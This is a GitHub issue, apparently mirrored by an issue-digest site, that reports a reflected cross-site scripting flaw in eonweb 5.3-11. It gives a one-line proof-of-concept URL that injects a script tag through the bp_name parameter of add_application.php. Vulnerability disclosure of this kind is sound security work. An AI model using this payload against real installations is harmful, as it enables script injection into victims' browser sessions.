EyesOfNetworkCommunity / EyesOfNetworkCommunity/eonweb

Reflected XSS at /module/admin_bp/add_application.php

Open
#118 1 comment 0 reactions 0 assignees View on GitHub
Dominant language
PHP
Stars
9
Forks
12
PR merge metrics
No merged PRs in 30d

Description

Hello, we found the reflected xss.
Tested on latest version [eonweb 5.3-11](https://github.com/EyesOfNetworkCommunity/eonweb/releases/tag/5.3-11)
![image](https://user-images.githubusercontent.com/32988979/186871596-d8e673e3-fccd-4f53-9076-d1e079975d56.png)

POC:
https://192.168.88.184/module/admin_bp/add_application.php?bp_name=%22%3E%3Cscript%3Ealert(1)%3C/script%3E

Contributor guide

No contributing guide indexed for this repository

Assessment

This issue has not been assessed yet.

Get new issues in your inbox

A short digest of beginner-friendly GitHub issues.